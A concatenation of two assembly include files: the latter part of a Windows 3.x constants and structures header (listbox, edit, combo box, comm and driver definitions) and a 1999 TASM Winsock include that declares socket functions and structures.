RT_CURSOR       = 1              ; must be passed through MAKEINTRESOURCE
RT_BITMAP       = 2
RT_ICON         = 3
RT_MENU         = 4
RT_DIALOG       = 5
RT_STRING       = 6
RT_FONTDIR      = 7
RT_FONT         = 8
RT_ACCELERATOR  = 9
RT_RCDATA       = 10
 
;** NOTE: if any new resource types are introduced above this point, then the
;** value of DIFFERENCE must be changed.
;** (RT_GROUP_CURSOR - RT_CURSOR) must always be equal to DIFFERENCE
;** (RT_GROUP_ICON - RT_ICON) must always be equal to DIFFERENCE
 
DIFFERENCE       =   11
 
RT_GROUP_CURSOR  =   RT_CURSOR + DIFFERENCE
RT_GROUP_ICON    =   RT_ICON + DIFFERENCE
 
 
 
IFNDEF NOMDI
MDICREATESTRUCT     struc
    szClass         dd ?
    szTitle         dd ?
    hOwner          dw ?
    x               dw ?
    y               dw ?
    cxc             dw ?
    cyc             dw ?
    style           dd ?
MDICREATESTRUCT ends
 
CLIENTCREATESTRUCT  struc
    hWindowMenu     dw ?
    idFirstChild    dw ?
CLIENTCREATESTRUCT ends
ENDIF
 
; NOMDI
 
 
PALETTEENTRY        struc
    peRed           db ?
    peGreen         db ?
    peBlue          db ?
    peFlags         db ?
PALETTEENTRY        ends
 
; Logical Palette
LOGPALETTE          struc
    palVersion      dw ?
    palNumEntries   dw ?
    palPalEntry     db ?  ; array of PALETTEENTRY
LOGPALETTE          ends
 
; DRAWITEMSTRUCT for ownerdraw
DRAWITEMSTRUCT      struc
    drCtlType         dw ?
    drCtlID           dw ?
    dritemID          dw ?
    dritemAction      dw ?
    dritemState       dw ?
    drhwndItem        dw ?
    drhDC             dw ?
    drrcItem          DB size RECT dup(?)
    dritemData        dd ?
DRAWITEMSTRUCT ends
 
; DELETEITEMSTRUCT for ownerdraw
DELETEITEMSTRUCT    struc
    deCtlType         dw ?
    deCtlID           dw ?
    deitemID          dw ?
    dehwndItem        dw ?
    deitemData        dd ?
DELETEITEMSTRUCT ends
 
; MEASUREITEMSTRUCT for ownerdraw
MEASUREITEMSTRUCT   struc
    meCtlType         dw ?
    meCtlID           dw ?
    meitemID          dw ?
    meitemWidth       dw ?
    meitemHeight      dw ?
    meitemData        dd ?
MEASUREITEMSTRUCT ends
 
; COMPAREITEMSTUCT for ownerdraw sorting
COMPAREITEMSTRUCT   struc
    coCtlType   dw ?
    coCtlID     dw ?
    cohwndItem  dw ?
    coitemID1   dw ?
    coitemData1 dd ?
    coitemID2   dw ?
    coitemData2 dd ?
COMPAREITEMSTRUCT   ends
 
; Owner draw control types
ODT_MENU      =  1
ODT_LISTBOX   =  2
ODT_COMBOBOX  =  3
ODT_BUTTON    =  4
 
; Owner draw actions
ODA_DRAWENTIRE = 1
ODA_SELECT     = 2
ODA_FOCUS      = 4
 
; Owner draw state
ODS_SELECTED   = 0001h
ODS_GRAYED     = 0002h
ODS_DISABLED   = 0004h
ODS_CHECKED    = 0008h
ODS_FOCUS      = 0010h
 
; PeekMessage() Options
PM_NOREMOVE    = 0000h
PM_REMOVE      = 0001h
PM_NOYIELD     = 0002h
 
; SetWindowPos Flags
SWP_NOSIZE       =  0001h
SWP_NOMOVE       =  0002h
SWP_NOZORDER     =  0004h
SWP_NOREDRAW     =  0008h
SWP_NOACTIVATE   =  0010h
SWP_DRAWFRAME    =  0020h
SWP_SHOWWINDOW   =  0040h
SWP_HIDEWINDOW   =  0080h
SWP_NOCOPYBITS   =  0100h
SWP_NOREPOSITION =  0200h
 
 
IFNDEF NOWINMESSAGES
 
; Listbox messages
LB_ADDSTRING           = (WM_USER+1)
LB_INSERTSTRING        = (WM_USER+2)
LB_DELETESTRING        = (WM_USER+3)
LB_RESETCONTENT        = (WM_USER+5)
LB_SETSEL              = (WM_USER+6)
LB_SETCURSEL           = (WM_USER+7)
LB_GETSEL              = (WM_USER+8)
LB_GETCURSEL           = (WM_USER+9)
LB_GETTEXT             = (WM_USER+10)
LB_GETTEXTLEN          = (WM_USER+11)
LB_GETCOUNT            = (WM_USER+12)
LB_SELECTSTRING        = (WM_USER+13)
LB_DIR                 = (WM_USER+14)
LB_GETTOPINDEX         = (WM_USER+15)
LB_FINDSTRING          = (WM_USER+16)
LB_GETSELCOUNT         = (WM_USER+17)
LB_GETSELITEMS         = (WM_USER+18)
LB_SETTABSTOPS         = (WM_USER+19)
LB_GETHORIZONTALEXTENT = (WM_USER+20)
LB_SETHORIZONTALEXTENT = (WM_USER+21)
LB_SETTOPINDEX         = (WM_USER+24)
LB_GETITEMRECT         = (WM_USER+25)
LB_GETITEMDATA         = (WM_USER+26)
LB_SETITEMDATA         = (WM_USER+27)
LB_SELITEMRANGE        = (WM_USER+28)
LB_SETCARETINDEX       = (WM_USER+31)
LB_GETCARETINDEX       = (WM_USER+32)
IFNDEF NOWIN31
LB_SETITEMHEIGHT       = (WM_USER+33)
LB_GETITEMHEIGHT       = (WM_USER+34)
LB_FINDSTRINGEXACT     = (WM_USER+35)
ENDIF
 
ENDIF
; NOWINMESSAGES
 
; Listbox Styles
LBS_NOTIFY            = 0001h
LBS_SORT              = 0002h
LBS_NOREDRAW          = 0004h
LBS_MULTIPLESEL       = 0008h
LBS_OWNERDRAWFIXED    = 0010h
LBS_OWNERDRAWVARIABLE = 0020h
LBS_HASSTRINGS        = 0040h
LBS_USETABSTOPS       = 0080h
LBS_NOINTEGRALHEIGHT  = 0100h
LBS_MULTICOLUMN       = 0200h
LBS_WANTKEYBOARDINPUT = 0400h
LBS_EXTENDEDSEL       = 0800h
LBS_STANDARD          = LBS_NOTIFY + LBS_SORT + WS_VSCROLL + WS_BORDER
LBS_DISABLENOSCROLL   = 1000h
 
; Listbox Notification Codes
LBN_ERRSPACE      =  (-2)
LBN_SELCHANGE     =  1
LBN_DBLCLK        =  2
LBN_SELCANCEL     =  3
LBN_SETFOCUS      =  4
LBN_KILLFOCUS     =  5
 
IFNDEF NOWINMESSAGES
 
; Edit Control Messages
EM_GETSEL              = (WM_USER+0)
EM_SETSEL              = (WM_USER+1)
EM_GETRECT             = (WM_USER+2)
EM_SETRECT             = (WM_USER+3)
EM_SETRECTNP           = (WM_USER+4)
EM_SCROLL              = (WM_USER+5)
EM_LINESCROLL          = (WM_USER+6)
EM_GETMODIFY           = (WM_USER+8)
EM_SETMODIFY           = (WM_USER+9)
EM_GETLINECOUNT        = (WM_USER+10)
EM_LINEINDEX           = (WM_USER+11)
EM_SETHANDLE           = (WM_USER+12)
EM_GETHANDLE           = (WM_USER+13)
EM_LINELENGTH          = (WM_USER+17)
EM_REPLACESEL          = (WM_USER+18)
EM_SETFONT             = (WM_USER+19)
EM_GETLINE             = (WM_USER+20)
EM_LIMITTEXT           = (WM_USER+21)
EM_CANUNDO             = (WM_USER+22)
EM_UNDO                = (WM_USER+23)
EM_FMTLINES            = (WM_USER+24)
EM_LINEFROMCHAR        = (WM_USER+25)
EM_SETWORDBREAK        = (WM_USER+26)
EM_SETTABSTOPS         = (WM_USER+27)
EM_SETPASSWORDCHAR     = (WM_USER+28)
EM_EMPTYUNDOBUFFER     = (WM_USER+29)
IFNDEF NOWIN31
EM_GETFIRSTVISIBLELINE = (WM_USER+30)
EM_SETREADONLY         = (WM_USER+31)
EM_SETWORDBREAKPROC    = (WM_USER+32)
EM_GETWORDBREAKPROC    = (WM_USER+33)
EM_GETPASSWORDCHAR     = (WM_USER+34)
ENDIF
 
ENDIF
; NOWINMESSAGES
 
 
; Edit Control Styles (low word)
ES_LEFT            = 0000h
ES_CENTER          = 0001h
ES_RIGHT           = 0002h
ES_MULTILINE       = 0004h
ES_UPPERCASE       = 0008h
ES_LOWERCASE       = 0010h
ES_PASSWORD        = 0020h
ES_AUTOVSCROLL     = 0040h
ES_AUTOHSCROLL     = 0080h
ES_NOHIDESEL       = 0100h
ES_OEMCONVERT      = 0400h
IFNDEF NOWIN31
ES_READONLY        = 0800h
ES_WANTRETURN      = 1000h
ENDIF
 
 
; Edit Control Notification Codes
EN_SETFOCUS        = 0100h
EN_KILLFOCUS       = 0200h
EN_CHANGE          = 0300h
EN_UPDATE          = 0400h
EN_ERRSPACE        = 0500h
EN_MAXTEXT         = 0501h
EN_HSCROLL         = 0601h
EN_VSCROLL         = 0602h
 
IFNDEF NOWINMESSAGES
 
; Button Control Messages
BM_GETCHECK        = (WM_USER+0)
BM_SETCHECK        = (WM_USER+1)
BM_GETSTATE        = (WM_USER+2)
BM_SETSTATE        = (WM_USER+3)
BM_SETSTYLE        = (WM_USER+4)
 
ENDIF
; NOWINMESSAGES
 
; Button Control Styles (low word)
BS_PUSHBUTTON      = 00h
BS_DEFPUSHBUTTON   = 01h
BS_CHECKBOX        = 02h
BS_AUTOCHECKBOX    = 03h
BS_RADIOBUTTON     = 04h
BS_3STATE          = 05h
BS_AUTO3STATE      = 06h
BS_GROUPBOX        = 07h
BS_USERBUTTON      = 08h
BS_AUTORADIOBUTTON = 09h
BS_OWNERDRAW       = 0Bh
BS_LEFTTEXT        = 20h
 
; User Button Notification Codes
BN_CLICKED         = 0
BN_PAINT           = 1
BN_HILITE          = 2
BN_UNHILITE        = 3
BN_DISABLE         = 4
BN_DOUBLECLICKED   = 5
 
; Dialog Styles (low words)
DS_ABSALIGN        = 01h
DS_SYSMODAL        = 02h
DS_LOCALEDIT       = 20h  ;/* Edit items get Local storage. */
DS_SETFONT         = 40h  ;/* User specified font for Dlg controls */
DS_MODALFRAME      = 80h  ;/* Can be combined with WS_CAPTION  */
DS_NOIDLEMSG       = 100h ;/* WM_ENTERIDLE message will not be sent */
 
IFNDEF NOWINMESSAGES
 
; Dialog box messages
DM_GETDEFID        = (WM_USER+0)
DM_SETDEFID        = (WM_USER+1)
 
ENDIF   ;NOWINMESSAGES
 
; Dialog Codes
DLGC_WANTARROWS     = 0001h    ;  /* Control wants arrow keys         */
DLGC_WANTTAB        = 0002h    ;  /* Control wants tab keys           */
DLGC_WANTALLKEYS    = 0004h    ;  /* Control wants all keys           */
DLGC_WANTMESSAGE    = 0004h    ;  /* Pass message to control          */
DLGC_HASSETSEL      = 0008h    ;  /* Understands EM_SETSEL message    */
DLGC_DEFPUSHBUTTON  = 0010h    ;  /* Default pushbutton               */
DLGC_UNDEFPUSHBUTTON= 0020h    ;  /* Non-default pushbutton           */
DLGC_RADIOBUTTON    = 0040h    ;  /* Radio button                     */
DLGC_WANTCHARS      = 0080h    ;  /* Want WM_CHAR messages            */
DLGC_STATIC         = 0100h    ;  /* Static item: don't include       */
DLGC_BUTTON         = 2000h    ;  /* Button item: can be checked      */
 
; Combo Box return Values
CB_OKAY          =   0
CB_ERR           =   (-1)
CB_ERRSPACE      =   (-2)
 
; Combo Box Notification Codes
CBN_ERRSPACE     =   (-1)
CBN_SELCHANGE    =   1
CBN_DBLCLK       =   2
CBN_SETFOCUS     =   3
CBN_KILLFOCUS    =   4
CBN_EDITCHANGE   =   5
CBN_EDITUPDATE   =   6
CBN_DROPDOWN     =   7
 
; Combo Box styles (low words)
CBS_SIMPLE           = 0001h
CBS_DROPDOWN         = 0002h
CBS_DROPDOWNLIST     = 0003h
CBS_OWNERDRAWFIXED   = 0010h
CBS_OWNERDRAWVARIABLE= 0020h
CBS_AUTOHSCROLL      = 0040h
CBS_OEMCONVERT       = 0080h
CBS_SORT             = 0100h
CBS_HASSTRINGS       = 0200h
CBS_NOINTEGRALHEIGHT = 0400h
 
IFNDEF NOWINMESSAGES
 
; Combo Box messages
CB_GETEDITSEL            = (WM_USER+0)
CB_LIMITTEXT             = (WM_USER+1)
CB_SETEDITSEL            = (WM_USER+2)
CB_ADDSTRING             = (WM_USER+3)
CB_DELETESTRING          = (WM_USER+4)
CB_DIR                   = (WM_USER+5)
CB_GETCOUNT              = (WM_USER+6)
CB_GETCURSEL             = (WM_USER+7)
CB_GETLBTEXT             = (WM_USER+8)
CB_GETLBTEXTLEN          = (WM_USER+9)
CB_INSERTSTRING          = (WM_USER+10)
CB_RESETCONTENT          = (WM_USER+11)
CB_FINDSTRING            = (WM_USER+12)
CB_SELECTSTRING          = (WM_USER+13)
CB_SETCURSEL             = (WM_USER+14)
CB_SHOWDROPDOWN          = (WM_USER+15)
CB_GETITEMDATA           = (WM_USER+16)
CB_SETITEMDATA           = (WM_USER+17)
IFNDEF NOWIN31
CB_GETDROPPEDCONTROLRECT = (WM_USER+18)
CB_SETITEMHEIGHT         = (WM_USER+19)
CB_GETITEMHEIGHT         = (WM_USER+20)
CB_SETEXTENDEDUI         = (WM_USER+21)
CB_GETEXTENDEDUI         = (WM_USER+22)
CB_GETDROPPEDSTATE       = (WM_USER+23)
CB_FINDSTRINGEXACT       = (WM_USER+24)
ENDIF
 
ENDIF ; NOWINMESSAGES
 
; Static Control styles (low word)
SS_LEFT            = 00h
SS_CENTER          = 01h
SS_RIGHT           = 02h
SS_ICON            = 03h
SS_BLACKRECT       = 04h
SS_GRAYRECT        = 05h
SS_WHITERECT       = 06h
SS_BLACKFRAME      = 07h
SS_GRAYFRAME       = 08h
SS_WHITEFRAME      = 09h
SS_SIMPLE          = 0Bh
SS_LEFTNOWORDWRAP  = 0Ch
SS_NOPREFIX        = 80h    ; Don't do "&" character translation
 
IFNDEF NOWIN31
IFNDEF NOWINMESSAGES
 
;Static Control Messages
STM_SETICON        = (WM_USER+0)
STM_GETICON        = (WM_USER+1)
ENDIF
ENDIF
 
; Scroll Bar Styles (low word)
SBS_HORZ                    = 0000h
SBS_VERT                    = 0001h
SBS_TOPALIGN                = 0002h
SBS_LEFTALIGN               = 0002h
SBS_BOTTOMALIGN             = 0004h
SBS_RIGHTALIGN              = 0004h
SBS_SIZEBOXTOPLEFTALIGN     = 0002h
SBS_SIZEBOXBOTTOMRIGHTALIGN = 0004h
SBS_SIZEBOX                 = 0008h
 
IFNDEF NOSYSMETRICS
 
; GetSystemMetrics() codes
SM_CXSCREEN           =  0
SM_CYSCREEN           =  1
SM_CXVSCROLL          =  2
SM_CYHSCROLL          =  3
SM_CYCAPTION          =  4
SM_CXBORDER           =  5
SM_CYBORDER           =  6
SM_CXDLGFRAME         =  7
SM_CYDLGFRAME         =  8
SM_CYVTHUMB           =  9
SM_CXHTHUMB           =  10
SM_CXICON             =  11
SM_CYICON             =  12
SM_CXCURSOR           =  13
SM_CYCURSOR           =  14
SM_CYMENU             =  15
SM_CXFULLSCREEN       =  16
SM_CYFULLSCREEN       =  17
SM_CYKANJIWINDOW      =  18
SM_MOUSEPRESENT       =  19
SM_CYVSCROLL          =  20
SM_CXHSCROLL          =  21
SM_DEBUG              =  22
SM_SWAPBUTTON         =  23
SM_RESERVED1          =  24
SM_RESERVED2          =  25
SM_RESERVED3          =  26
SM_RESERVED4          =  27
SM_CXMIN              =  28
SM_CYMIN              =  29
SM_CXSIZE             =  30
SM_CYSIZE             =  31
SM_CXFRAME            =  32
SM_CYFRAME            =  33
SM_CXMINTRACK         =  34
SM_CYMINTRACK         =  35
IFNDEF NOWIN31
SM_CXDOUBLECLK        =  36
SM_CYDOUBLECLK        =  37
SM_CXICONSPACING      =  38
SM_CYICONSPACING      =  39
SM_MENUDROPALIGNMENT  =  40
SM_PENWINDOWS         =  41
SM_DBCSENABLED        =  42
ENDIF
SM_CMETRICSMAX        =  43
 
ENDIF   ;NOSYSMETRICS
 
IFNDEF  NOCOLOR
 
COLOR_SCROLLBAR           = 0
COLOR_BACKGROUND          = 1
COLOR_ACTIVECAPTION       = 2
COLOR_INACTIVECAPTION     = 3
COLOR_MENU                = 4
COLOR_WINDOW              = 5
COLOR_WINDOWFRAME         = 6
COLOR_MENUTEXT            = 7
COLOR_WINDOWTEXT          = 8
COLOR_CAPTIONTEXT         = 9
COLOR_ACTIVEBORDER        = 10
COLOR_INACTIVEBORDER      = 11
COLOR_APPWORKSPACE        = 12
COLOR_HIGHLIGHT           = 13
COLOR_HIGHLIGHTTEXT       = 14
COLOR_BTNFACE             = 15
COLOR_BTNSHADOW           = 16
COLOR_GRAYTEXT            = 17
COLOR_BTNTEXT             = 18
IFNDEF NOWIN31
COLOR_INACTIVECAPTIONTEXT = 19
COLOR_BTNHILIGHT          = 20
ENDIF
ENDIF   ;NOCOLOR
 
; Commands to pass WinHelp()
HELP_CONTEXT    =0001h  ;/* Display topic in ulTopic */
HELP_QUIT       =0002h  ;/* Terminate help */
HELP_INDEX      =0003h  ;/* Display index */
HELP_HELPONHELP =0004h  ;/* Display help on using help */
HELP_SETINDEX   =0005h  ;/* Set the current Index for multi index help */
HELP_KEY        =0101h  ;/* Display topic for keyword in offabData */
 
IFNDEF NOCOMM
 
NOPARITY        =   0
ODDPARITY       =   1
EVENPARITY      =   2
MARKPARITY      =   3
SPACEPARITY     =   4
 
ONESTOPBIT      =   0
ONE5STOPBITS    =   1
TWOSTOPBITS     =   2
 
IGNORE          =   0      ; /* Ignore signal    */
INFINITE        =   0FFFFh ; /* Infinite timeout */
 
; Error Flags
CE_RXOVER       =    0001h ; /* Receive Queue overflow       */
CE_OVERRUN      =    0002h ; /* Receive Overrun Error        */
CE_RXPARITY     =    0004h ; /* Receive Parity Error         */
CE_FRAME        =    0008h ; /* Receive Framing error        */
CE_BREAK        =    0010h ; /* Break Detected               */
CE_CTSTO        =    0020h ; /* CTS Timeout                  */
CE_DSRTO        =    0040h ; /* DSR Timeout                  */
CE_RLSDTO       =    0080h ; /* RLSD Timeout                 */
CE_TXFULL       =    0100h ; /* TX Queue is full             */
CE_PTO          =    0200h ; /* LPTx Timeout                 */
CE_IOE          =    0400h ; /* LPTx I/O Error               */
CE_DNS          =    0800h ; /* LPTx Device not selected     */
CE_OOP          =    1000h ; /* LPTx Out-Of-Paper            */
CE_MODE         =    8000h ; /* Requested mode unsupported   */
 
IE_BADID        =    (-1)  ;  /* Invalid or unsupported id    */
IE_OPEN         =    (-2)  ;  /* Device Already Open          */
IE_NOPEN        =    (-3)  ;  /* Device Not Open              */
IE_MEMORY       =    (-4)  ;  /* Unable to allocate queues    */
IE_DEFAULT      =    (-5)  ;  /* Error in default parameters  */
IE_HARDWARE     =    (-10) ;  /* Hardware Not Present         */
IE_BYTESIZE     =    (-11) ;  /* Illegal Byte Size            */
IE_BAUDRATE     =    (-12) ;  /* Unsupported BaudRate         */
 
; Events
EV_RXCHAR       =    0001h ; /* Any Character received       */
EV_RXFLAG       =    0002h ; /* Received certain character   */
EV_TXEMPTY      =    0004h ; /* Transmitt Queue Empty        */
EV_CTS          =    0008h ; /* CTS changed state            */
EV_DSR          =    0010h ; /* DSR changed state            */
EV_RLSD         =    0020h ; /* RLSD changed state           */
EV_BREAK        =    0040h ; /* BREAK received               */
EV_ERR          =    0080h ; /* Line status error occurred   */
EV_RING         =    0100h ; /* Ring signal detected         */
EV_PERR         =    0200h ; /* Printer error occured        */
EV_CTSS         =    0400h ; /* CTS state                    */
EV_DSRS         =    0800h ; /* DSR state                    */
EV_RLSDS        =    1000h ; /* RLSD state                   */
EV_RingTe       =    2000h ; /* Ring Trailing Edge Indicator */
 
 
; Escape Functions
SETXOFF         =    1     ;  /* Simulate XOFF received       */
SETXON          =    2     ;  /* Simulate XON received        */
SETRTS          =    3     ;  /* Set RTS high                 */
CLRRTS          =    4     ;  /* Set RTS low                  */
SETDTR          =    5     ;  /* Set DTR high                 */
CLRDTR          =    6     ;  /* Set DTR low                  */
RESETDEV        =    7     ;  /* Reset device if possible     */
 
LPTx            =    80h   ; /* Set if ID is for LPT device  */
 
IFNDEF NOWIN31
; new escape functions
GETMAXLPT   equ  8         ; Max supported LPT id
GETMAXCOM   equ  9         ; Max supported COM id
GETBASEIRQ  equ 10         ; Get port base & irq for a port
 
; Comm Baud Rate indices
CBR_110     equ 0FF10h
CBR_300     equ 0FF11h
CBR_600     equ 0FF12h
CBR_1200    equ 0FF13h
CBR_2400    equ 0FF14h
CBR_4800    equ 0FF15h
CBR_9600    equ 0FF16h
CBR_14400   equ 0FF17h
CBR_19200   equ 0FF18h
;               0FF19h  (reserved)
;               0FF1Ah  (reserved)
CBR_38400   equ 0FF1Bh
;               0FF1Ch  (reserved)
;               0FF1Dh  (reserved)
;               0FF1Eh  (reserved)
CBR_56000   equ 0FF1Fh
;               0FF20h  (reserved)
;               0FF21h  (reserved)
;               0FF22h  (reserved)
CBR_128000  equ 0FF23h
;               0FF24h  (reserved)
;               0FF25h  (reserved)
;               0FF26h  (reserved)
CBR_256000  equ 0FF27h
 
; notifications passed in low word of lParam on WM_COMMNOTIFY messages
CN_RECEIVE  equ 1           ; bytes are available in the input queue
CN_TRANSMIT equ 2           ; fewer than wOutTrigger bytes still
                            ; remain in the output queue waiting
                            ; to be transmitted.
CN_EVENT    equ 4           ; an enabled event has occurred
 
ENDIF
 
 
DCB     struc
    DCB_Id             db ?  ; /* Internal Device ID              */
    DCB_BaudRate       dw ?  ; /* Baudrate at which runing        */
    DCB_ByteSize       db ?  ; /* Number of bits/byte, 4-8        */
    DCB_Parity         db ?  ; /* 0-4=None,Odd,Even,Mark,Space    */
    DCB_StopBits       db ?  ; /* 0,1,2 = 1, 1.5, 2               */
    DCB_RlsTimeout     dw ?  ; /* Timeout for RLSD to be set      */
    DCB_CtsTimeout     dw ?  ; /* Timeout for CTS to be set       */
    DCB_DsrTimeout     dw ?  ; /* Timeout for DSR to be set       */
 
    DCB_BitMask1       db ?
 
    ;   BYTE fBinary: 1;     /* Binary Mode (skip EOF check     */
    ;   BYTE fRtsDisable:1;  /* Don't assert RTS at init time   */
    ;   BYTE fParity: 1;     /* Enable parity checking          */
    ;   BYTE fOutxCtsFlow:1; /* CTS handshaking on output       */
    ;   BYTE fOutxDsrFlow:1; /* DSR handshaking on output       */
    ;   BYTE fDummy: 2;      /* Reserved                        */
    ;   BYTE fDtrDisable:1;  /* Don't assert DTR at init time   */
 
    DCB_BitMask2       db ?
 
    ;   BYTE fOutX: 1;       /* Enable output X-ON/X-OFF        */
    ;   BYTE fInX: 1;        /* Enable input X-ON/X-OFF         */
    ;   BYTE fPeChar: 1;     /* Enable Parity Err Replacement   */
    ;   BYTE fNull: 1;       /* Enable Null stripping           */
    ;   BYTE fChEvt: 1;      /* Enable Rx character event.      */
    ;   BYTE fDtrflow: 1;    /* DTR handshake on input          */
    ;   BYTE fRtsflow: 1;    /* RTS handshake on input          */
    ;   BYTE fDummy2: 1;
 
    DCB_XonChar        db ? ; /* Tx and Rx X-ON character        */
    DCB_XoffChar       db ? ; /* Tx and Rx X-OFF character       */
    DCB_XonLim         dw ? ; /* Transmit X-ON threshold         */
    DCB_XoffLim        dw ? ; /* Transmit X-OFF threshold        */
    DCB_PeChar         db ? ; /* Parity error replacement char   */
    DCB_EofChar        db ? ; /* End of Input character          */
    DCB_EvtChar        db ? ; /* Recieved Event character        */
    DCB_TxDelay        dw ? ; /* Amount of time between chars    */
DCB     ends
 
COMSTAT     struc
    COMS_BitMask1   db ?
 
;    BYTE fCtsHold: 1;   /* Transmit is on CTS hold         */
;    BYTE fDsrHold: 1;   /* Transmit is on DSR hold         */
;    BYTE fRlsdHold: 1;  /* Transmit is on RLSD hold        */
;    BYTE fXoffHold: 1;  /* Received handshake              */
;    BYTE fXoffSent: 1;  /* Issued handshake                */
;    BYTE fEof: 1;       /* End of file character found     */
;    BYTE fTxim: 1;      /* Character being transmitted     */
 
 
    COMS_cbInQue    dw ?  ;   /* count of characters in Rx Queue */
    COMS_cbOutQue   dw ?  ;   /* count of characters in Tx Queue */
COMSTAT     ends
 
ENDIF       ;NOCOM
 
;
; Installable Driver Support
;
; Driver Messages
DRV_LOAD            = 0001h
DRV_ENABLE          = 0002h
DRV_OPEN            = 0003h
DRV_CLOSE           = 0004h
DRV_DISABLE         = 0005h
DRV_FREE            = 0006h
DRV_CONFIGURE       = 0007h
DRV_QUERYCONFIGURE  = 0008h
DRV_INSTALL         = 0009h
DRV_REMOVE          = 000Ah
DRV_EXITSESSION     = 000Bh
DRV_POWER           = 000Fh
DRV_RESERVED        = 0800h
DRV_USER            = 4000h
 
;LPARAM of DRV_CONFIGURE message and return values
DRVCONFIGINFO struc
    DRVCNF_dwDCISize          dw ?
    DRVCNF_lpszDCISectionName dd ?
    DRVCNF_lpszDCIAliasName   dd ?
DRVCONFIGINFO ends
 
DRVCNF_CANCEL       = 0000h
DRVCNF_OK           = 0001h
DRVCNF_RESTART      = 0002h
 
 
IFNDEF  NOKERNEL
;
; Common Kernel errors
;
ERR_GALLOC      = 01030h        ; GlobalAlloc Failed
ERR_GREALLOC    = 01031h        ; GlobalReAlloc Failed
ERR_GLOCK       = 01032h        ; GlobalLock Failed
ERR_LALLOC      = 01033h        ; LocalAlloc Failed
ERR_LREALLOC    = 01034h        ; LocalReAlloc Failed
ERR_LLOCK       = 01035h        ; LocalLock Failed
ERR_ALLOCRES    = 01036h        ; AllocResource Failed
ERR_LOCKRES     = 01037h        ; LockResource Failed
ERR_LOADMODULE  = 01038h        ; LoadModule failed
 
;
; Common User Errors
;
ERR_CREATEDLG        =  01045h ; /* Create Dlg failure due to LoadMenu failure */
ERR_CREATEDLG2       =  01046h ; /* Create Dlg failure due to CreateWindow Failure */
ERR_REGISTERCLASS    =  01047h ; /* RegisterClass failure due to Class already registered */
ERR_DCBUSY           =  01048h ; /* DC Cache is full */
ERR_CREATEWND        =  01049h ; /* Create Wnd failed due to class not found */
ERR_STRUCEXTRA       =  01050h ; /* Unallocated Extra space is used */
ERR_LOADSTR          =  01051h ; /* LoadString() failed */
ERR_LOADMENU         =  01052h ; /* LoadMenu Failed     */
ERR_NESTEDBEGINPAINT =  01053h ; /* Nested BeginPaint() calls */
ERR_BADINDEX         =  01054h ; /* Bad index to Get/Set Class/Window Word/Long */
ERR_CREATEMENU       =  01055h ; /* Error creating menu */
 
;
; Common GDI Errors
;
ERR_CREATEDC        = 01070h    ; /* CreateDC/CreateIC etc., failure */
ERR_CREATEMETA      = 01071h    ; /* CreateMetafile failure */
ERR_DELOBJSELECTED  = 01072h    ; /* Bitmap being deleted is selected into DC */
ERR_SELBITMAP       = 01073h    ; /* Bitmap being selected is already selected elsewhere */
 
ENDIF       ;NOKERNEL
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WINDOWS.INC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WSOCKS.INC]ÄÄÄ
;
;      WSocks.inc: include file for windows sockets .
;      Designed for TASM5 and Win32.
;
;      (C) 1999 Bumblebee.
;
;       This file contains basic structures and stuff to work
;       with windows sockets.
;
 
; Descriptions of the API:
;  arguments in order of PUSH ;)
 
; only for debug
extrn   WSAGetLastError:PROC
 
; starts the use of winsock dll
; addr WSADATA, version requested
; returns: 0 ok
extrn   WSAStartup:PROC
 
; terminates the use of winsock dll
; returns: SOCK_ERR on error
extrn   WSACleanup:PROC
 
; opens a new socket
; protocol (PCL_NONE), type (SOCK_??), addr format (AF_??)
; returns: socket id or SOCKET_ERR (socket is dw)
extrn   socket:PROC
 
; closes a socket
; socket descriptor
;
extrn   closesocket:PROC
 
; sends data (this socks are a shit... Unix uses simple write)
; flags (1  OOB data or 0 normal ) , length, addr of buffer, socket
; returns: caracters sent or SOCKET_ERR on error
extrn   send:PROC
 
; reveives data (this socks are a shit... Unix uses simple read)
; flags (use 0), length, addr of buffer, socket
; returns: caracters sent or SOCKET_ERR on error
extrn   recv:PROC
 
; connects to a server
; sizeof struct SOCKADDR, struct SOCKADDR, socket
; returns: SOCKET_ERR on error
extrn   connect:PROC
 
; gets the name of the current host
; length of the buffer for name, addr of buffer for name
; return: SOCKET_ERR on error
extrn   gethostname:PROC
 
; gets strcut hostent
; addr of name
; returns: ponter to the struct or 0 on error
extrn   gethostbyname:PROC
 
; converts a zstring like "xxx.xxx.xx...." to netw byte order
; zstring ptr to change to dotted addr format
; returns: in_addr (dd)
extrn   inet_addr:PROC
 
; dw to convert into netw byte order (usually the port)
; returns: the value in network byte order (dw)
extrn   htons:PROC
 
; Structs :o
 
; sockaddr struct for connection
; modified (for better use)
; if you want the original look for it into a winsock.h
SOCKADDR        struct
sin_family     dw      0       ; ex. AF_INET
sin_port       dw      0       ; use htons for this
sin_addr        dd      0       ; here goes server node (from inet_addr)
sin_zero       db      8 dup(0)
SOCKADDR        ends
 
; for WSAStartup diagnose
WSADATA        struct
mVersion       dw      0
mHighVersion   dw      0
szDescription  db      257 dup(0)
szSystemStatus db      129 dup(0)
iMaxSockets    dw      0
iMaxUpdDg      dw      0
lpVendorInfo   dd      0
WSADATA        ends
 
; Some nice equs 
 
; what version of winsock do you need? (usually 1.1)
VERSION1_0      equ     0100h
VERSION1_1      equ     0101h
VERSION2_0      equ     0200h
 
AF_UNIX        equ     1       ; local host
AF_INET         equ     2       ; internet (most used)
AF_IMPLINK     equ     3       ; arpanet
AF_NETBIOS     equ     17      ; NetBios style addresses
 
; types of sockets
SOCK_STREAM     equ     1       ; stream (connection oriented; telnet like)
SOCK_DGRAM      equ     2       ; datagram (packets, packets, packets)
 
; protocol
PCL_NONE        equ     0       ; none (define the protocol not needed)
 
SOCKET_ERR      equ     -1      ; standard winsock error
 
HOSTENT_IP      equ     10h     ; where is the IP into the hostent struct
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WSOCKS.INC]ÄÄÄ
